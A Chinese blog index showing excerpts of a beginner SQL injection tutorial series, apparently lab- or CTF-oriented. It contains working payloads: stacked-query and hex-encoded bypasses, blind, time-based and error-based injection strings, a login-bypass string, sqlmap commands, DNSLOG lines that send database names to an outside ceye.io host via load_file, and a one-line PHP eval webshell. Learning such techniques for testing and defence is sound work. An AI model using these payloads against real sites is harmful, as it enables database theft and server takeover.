SQL注入基础入门——07、总结

漏洞利用 参数类型 - 符号闭合 数据库类型 - 选择不同的攻击语句和攻击思路 数据提交方式 - 数据注入的时候传输不一样,如POST、HOST等 数据SQL查询方式 - 1.无回显 2.测试点不同(增删改查等) 3.人工发现 数据加密编码方式 存在回显 - 盲注 高权限 - 换一种思路获得权限 漏洞危害 单个数据库泄漏 所有数据库泄漏 后台权限 web权限:文件操作、执行命令等 后续导致服务器权限丢失 漏洞特点 开发语言决定注入发生率 数据库类型决定注入利用过程 部分注入点的发现需要人工探针(增删改查等) 防护注入代码过滤、WAF等

October 7, 2021 · 1 min · alvazu

SQL注入基础入门——06、绕过注入过滤的几种方法(堆叠、二次、DNSLOG、高权限)

几种过滤 过滤关键词,如select、update、insert等 过滤空格 堆叠注入 数据库类型支持多条语句; ;show databases; ;show tables; ;show columns from ``; ## 由于select被过滤,因此可以将列名改为flag再输出 ## 或者,采用如下方法: ';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; 二次注入 先写入后组合的注入(如:注册——登录——修改); 受到攻击的sql语句: update user set passwd='新密码' where username='用户名' and passwd='旧密码' 密码一般会被加密,不好入手,因此选择用户名攻击: ## 空格被过滤 x"^updatexml(1,concat(0x7e,(version())),0)# DNSLOG注入 解决不回显,相比盲注更快,但适用范围不广,因为要用到load_file()函数,需要root权限,并且secure_file_priv需要为空,且需要操作系统为Windows(\\为unc路径)。 ping test.dbuh8a.ceye.io ping %USERNAME%.dbuh8a.ceye.io select load_file('\\\\xxxx.dbuh8a.ceye.io\\aa')); select load_file(concat('\\\\',(select database()),'.dbuh8a.ceye.io\\aa')); 高权限注入 数据库用户分为系统用户和普通用户。前者可看所有数据库,可进行文件读写;后者不行。 ⚠️所以,某些注入点可以读写文件。 # 判断是否高权限 python sqlmap.py -u "http://XXX?id=1" --is-dba 写入一句话后门 <?php eval($_POST['x']); ?>

October 7, 2021 · 1 min · alvazu

SQL注入基础入门——05、盲注

order by select * from users order by $sth 盲注的三种类型 逻辑判断 regexp、like、ascii、left、ord、mid like 'ro%' regexp '^user[a-z]' #截取字符串 mid(str,start_loc,length) substr(str,start_loc,length) left(str,length) #从左侧截取 #字符串长度 length() 延时判断 if、sleep select * from users where id=1 and if(1>2,2,0); select * from users where id=1 and sleep(5); select * from users where id=1 and if(1>2,sleep(5),sleep(10)); 报错回显 floor、updatexml、extractvalue 逻辑判断 例如: ?id=1' and length(database())=8--+ ?id=1' and left(database(),1)>'a'--+ 延时判断 and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+ 报错注入 12种报错注入+万能语句...

October 6, 2021 · 1 min · alvazu

SQL注入基础入门——04、POST/XFF/HOST/COOKIE/其他功能

Sqlmap其他注入 在使用SQLMap进行POST注入时,可以使用post.txt注入,而不是使用--data参数,因为使用txt方式注入使用的是真实的数据包,而--data使用的是SQLMap自带的请求头; 在注入点处用星号标记,例如host: XXX*; 使用python sqlmap.py -r host.txt开始注入 万能密码原理(post注入) 例如对于下列sql语句: select * from admin where username='$user' and password='$pass' ; 使$user = “admin’ or ‘1’=‘1”,得到 select * from admin where username='admin' or '1'='1' and password='$pass' ; host注入 在HTTP头中,把order by 4(payload)作为host项传递。 XFF注入 例如,某些网站会验证用户的IP地址来判断是否放行;在日志记录时会在数据库中记录HTTP头信息,因此可能存在注入点。如PHP正确获取客户端IP地址。 以下三个参数可能存在注入点: HTTP_CLIENT_IP:存在于http请求的header HTTP_X_FORWARDED_FOR:请求转发路径,客户端IP,代理1IP,代理2IP…… HTTP_X_REAL_IP:这个用得比较少,暂不讨论。 这三个值都是从HTTP请求头获取的,所以并不可靠! 根据功能区分注入类型 例如,搜索sql如下: select * from zzz_user where name like '%$name%' 字符串相关的sql判断语句会包含引号等等。 ⚠️注意数字、字母、JSON类型字符串。

October 6, 2021 · 1 min · alvazu

SQL注入基础入门——03、SQLMap编码注入

在SQL注入时,有时会遇到一些复杂情况,如:.../info.php?id=MQ==,这种情况就属于编码注入。其基本流程如下: 接收数据 -> base64解密 -> 组合SQL语句 -> 执行返回 注入思路如下: 先解码,结合明文后编码 用如下的表格展现编码注入的部分流程: 原文 译文 备注 1 order by 3 MSBvcmRlciBieSAz 猜测列数 -1 union select 1,2,3 LTEgdW5pb24gc2VsZWN0IDEsMiwz 测试回显 -1 union select 1,database(),version() LTEgdW5pb24gc2VsZWN0ID EsZGF0YWJhc2UoKSx2ZXJzaW9uKCk= 取得库名 使用Tamper 定位到tamper/base64encode.py文件,注意将URL中的MQ去掉 python sqlmap.py -u "XXX.php?id=" --tamper=base64encode.py

October 4, 2021 · 1 min · alvazu